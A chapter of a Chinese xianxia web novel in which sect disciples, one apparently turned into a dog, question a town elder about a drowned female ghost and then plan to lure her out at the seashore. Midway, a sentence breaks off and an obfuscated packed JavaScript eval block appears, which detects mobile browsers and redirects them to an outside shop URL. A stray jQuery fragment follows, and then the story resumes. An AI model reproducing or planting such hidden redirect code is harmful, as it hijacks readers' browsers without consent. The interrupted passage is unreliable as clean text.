裴松吟丢下狗,敲了敲门。
“有人在吗?”
里面没吭声,或许是老人家耳朵不好使。
褚晞便加大了音量:“有人在吗?我们承云宗弟子前来拜访,望镇长开一下门。”
里面传来走路的声音,走得有点慢:“来了。”
门开了,露出一个头发花白的老者。老者脸上皱纹不少,但好在精神不错,所以看起来还算康健。
裴松吟:“我们求见镇长。”
老者道:“我就是镇长。你们是来做什么的?找我什么事?”
“闻澄跃”道:“我们是来除鬼的。听闻洛水镇有个很可怕的女鬼,害了洛水镇不少人。我们宗门中人听说了,便回来告诉宗主,宗主就派了我们几人前来,为贵镇除害。”
镇长听了这话后,捋了捋自己花白的胡子,让开了一条路:“你们进来说话吧。”
几人跟着他一起进门,发现这院子并不算大,十分朴素,和主人一样平易近人。而且这院子里也没有旁人,似乎这是主人一人的居所。
沈纤意问:“镇长是一个人住?”
镇长一愣,随即笑了笑:“我是一个人住。先前妻子早逝,后来儿子又罹难,我没有续弦,便只剩下孤家寡人了。这院子你们也看见了,挺冷清的。”
看着他释然又夹杂着遗憾的神色,沈纤意垂下眼眸:“抱歉,我无意冒犯。”
“无事,你们不是洛水镇人,不知道这些也很正常。”
说着说着,几人便到了一处亭子。
亭子建在水中央,水边栽了颗树。这树上盛开着无数多白色的小花,花香四溢,树枝很长,随风摇曳,算是这院子里唯一的生机了。
镇长微微弯着腰,笑着道:“仙友们,请进。我们去亭子里坐着说。”
闻澄跃四处看了看,没发现有什么问题,暂时放下警惕。
待众人坐下,镇长便笑呵呵地问:“几位说是哪里来的?”
“闻澄跃”:“承云宗。就是在……”
“承云宗啊,我知道。闻无落是你们的宗主,对吗?”老者笑着说道。
闻澄跃心中一喜——这个老头竟然知道他们承云宗!
倒不是他对自己宗门没有信心,只是他们宗门实在是过于低调,任何仙门百家举办的活动皆是不参加。师父也不让他们和其他宗门往来,他们算是真正的与世隔绝。
所以外界若是不知道承云宗的存在,那应当是一件极正常的事——毕竟大家很少见到这个宗门里的人,如何得知他们的实力?。
可镇长却说他知道承云宗,这让闻澄跃不由自主地对他多了几分好感。
镇长乐呵呵道:“你们宗门最是神秘,似乎没怎么下山过吧?”
褚晞是深有体会,重重地“嗯”了一声:“对!我老想下山了。我在宗门里都快被憋死了,我每次啊最羡慕的就是十四师弟,他能到处跑。这回能来洛水镇,对我来说可是个很难得的机会,毕竟下次就不知道是什么时候了。”
镇长:“是吗?”
褚晞还想再倒苦水,却被沈纤意止住。
沈纤意继续问:“镇长,你这样说,应当是信任我们的。我们来此也只是为了除害。请你一定要配合我们,我们需要知道一些事情才能去海边,你能告诉我们吗?”
镇长仍然笑着:“这有什么不能的?你们问吧。只是我知道的也不多,更多的还得看我侄子说的话。但他也没告诉过我,哎。”他突然叹了一口气。
“闻澄跃”问:“镇长,即便如此,但我们能见见那位公子吗?这件事没有和目击者沟通的话,会很难办的。毕竟知己知彼才能百战百胜,我们若是知道那女鬼的弱点,定然能帮到贵镇的。”
镇长:“你说的有道理,可是我那侄子真的极少见人。自从被女鬼吓了后,他就惶惶不可终日,如今恐怕是连话都不会说了。你们就是去了恐怕也问不出什么来。”
裴松吟:“不试试又怎么知道。镇长,请让我们见见他。”
镇长面露难色:“这……他说过不想见人,我也不能逼这孩子。我一向最喜欢他了,如今他生病了更是不能逆了他的意,就怕他一下子想不开,我就又要少一个亲人了。”
他说着说着就哽咽了,低下头去抹着泪,白头发一颤一颤的。
裴松吟默然不语。
镇长道:“此事,我真不能答应你们。先前凌霄宗和顺天宗也说过要去见我家侄子,但是我也没答应。他们最后也没捉到那妖……不知道是妖还是鬼,总之可怕得很。我们洛水镇真是遭了罪。”
褚晞撅了下嘴:“哎呀,那怎么办呢?我们直接去海边吗?”
裴松吟仍然盯着镇长:“真的不能见见他吗?”
镇长这会儿眼泪流干了,擦了擦脸上的泪痕,语气坚决:“不能。我觉得这不是最重要的事,除害不一定非得找我侄子。而我也承受不了再次失去侄子的痛苦,你们要谅解我一个孤寡老人的心情。”
闻澄跃心下一软,摇了摇尾巴,“闻澄跃”道:“那好吧。此事我们再重新想想办法。师弟师妹们,我们先走吧。”
“闻澄跃”先站起身来,另外三人也跟着一起。
镇长颤颤巍巍地站起来,此刻他语气已经恢复了平静:“几位仙友若是有其他需要帮忙的,老夫一定鼎立相助,可这件事,我实在不能。”
……
“师兄,这下怎么办?”褚晞嘟囔道,“这下唯一的目击者也见不了,我们又怎么去除妖?就跟个二愣子一样直接去海边找她吗?会不会像是在送死?”
闻澄跃:“……”
其实他也不知道。
不过他觉得可以试一试,万一能找到点对方的弱点呢?
闻澄跃摇了摇尾巴:
“不要着急。我们先去海边把这妖怪逼出来,看看她长什么样子。有时候弱点就藏在她的模样里。我先前去藏经阁饱读经书,对这些妖怪也算有点研究。”
——这话说的半真半假,真的地方在于他的确研究过各式各样的妖怪,假的地方在于因为时间太长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776370|210031||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,他似乎已经忘了。
几人到达海边时,海面一片平静。
昨日退潮后的水仍在沙滩上积着,但经过一夜后,沙子只是润的了。
闻澄跃在湿软的沙子上踩着,汪汪了几声。
“怎么了?”
裴松吟立马走过来,眸子紧盯着闻澄跃爪下的沙子。
可他只看到狗子欢快地刨着沙子。
闻澄跃心中乐道:“沙子可太好玩了!”狗爪接触松软的沙子,像是踩在棉花上,但又有种沙沙的质地。
裴松吟:“……”
无独有偶,褚晞也在一旁蹲下,捡了根树枝划拉着沙子:“纤意!快过来,这个好玩!我还是第一次来海边见到沙子呢。这沙子怎么这么软,等以后回宗门了我也带点回去。”
裴松吟:“……”
沈纤意亦无法理解,抱着手里的剑冷道:“别玩了,我们是来干正事的。你先过来,让大师兄和裴师弟试试能不能让女鬼显形。”
褚晞偏头看了眼狗子:“大师兄不是也……”
本乐在沙子中的闻澄跃突然虎躯一震。但褚晞立马反应过来裴松吟也在场,撩了一下自己垂下的头发,偏过头来哈哈道:“哈哈哈,大师兄不是也没拿这妖怪没办法吗?”
裴松吟道:“我有办法。”
闻澄跃耳朵一竖。他竟不知这小子还有别的办法……闻澄跃本人想到的办法就是直接打,像炸鱼一样把她炸出来。
褚晞站起身来,一脸期待:“小师弟说说看。”
裴松吟:“可以假扮渔夫,引诱她出来。还可以以此物为饵。”
他从袖中拿出了一段白花枝解释道:“先前在镇长家时,他说过自己的儿子曾与女鬼有缘。”
闻澄跃却记不起这段,眼神茫然地看着裴松吟。
裴松吟也可能想到了这一点,便解释道:“那时我们在去他亭子的路上,他一路上都在自言自语,我离他很近才听到的。原来他是在说自己儿子和女鬼曾有缘分。缘分始于此花,也终于此花。”
褚晞:“什么?女鬼还是他儿媳妇?”
裴松吟点头:“对。但后来他不同意两人,所以女鬼投河成了鬼。而他儿子自挂在庭中的花树下。”
闻澄跃耳朵抖了抖:“没想到竟是这样。”
“刚刚该让镇长同我们一起来。他也算是见过女鬼的人。”沈纤意道。
褚晞更疑惑:“那他怎么不正儿八经地说说,这事儿其他人也不知道吧?他这样瞒着是不是不好?”
裴松吟:“不知,但他定然不会想和我们一起过来。”
明眼人也能看出来,若是他真想来也不会对他们要见他侄子这件事推三阻四。
“闻澄跃”:“所以,拿着这白花枝条,或许能刺激到女鬼,让她想起自己那死去的情郎。这样她就会出来了。”
“有道理。”
“那事不宜迟,我们快拿着这花枝去海里吧!”
可褚晞突然问:“我们去哪里找渔船,还有渔夫的衣裳?”